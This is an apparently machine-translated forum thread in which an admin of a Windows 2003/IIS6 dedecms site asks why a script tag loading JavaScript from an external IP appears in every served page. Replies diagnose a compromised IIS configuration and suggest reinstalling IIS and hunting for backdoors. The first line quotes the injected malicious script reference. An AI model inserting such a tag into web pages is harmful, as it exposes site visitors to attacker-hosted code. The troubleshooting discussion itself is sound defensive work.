& lt; Script language=SRC=http://103.17.116.168:666/zhouer.js javascript> </script> 

Cloud hosting, win2003 iis6.0, PHP dedecms5.7
This situation is that you visit the page for the first time in this code, and then on the browser to see the source code as you can see the code (the first row), refresh the page after see it in the source code, in addition, each website source file on the server can't find this code, these pages are generated HTML, total HTML, total station in this case, on the server browser open the pages and not the problem,
What is the problem, a great god answers,
PS: testing found that all of the following code page will appear this situation,

 & lt; ! PUBLIC DOCTYPE HTML "-////W3C DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" & gt; 

The barrel also have brothers appear this situation
http://bbs.csdn.net/topics/392139404? Page=1 # post - 402213447

CodePudding user response:

If your local gateway into advertising

CodePudding user response:

Has been found that hang a horse, IIS configuration file is modified, all IIS sites were added a line under the js reference, within the server source file does not exist, but within the browser page does exist

CodePudding user response:

reference 1/f, zara's reply:

if your local gateway insert ads oh

Is not the

CodePudding user response:

refer to the second floor superwfei response:

has been found that hang a horse, IIS configuration file is modified, all IIS sites were added a line under the js reference, within the server source file does not exist, but do exist in the browser phenomenon

Only reinstall iis?

CodePudding user response:

If the understanding and comparing the configuration file, you can manually modify the

If you don't understand, reinstall IIS is relatively simple, but not after the site configuration information directly to the export import directly, best manually reconfigure the site information

Then check the website for the back door program, the server is the right to attack, or there are still continue to be modified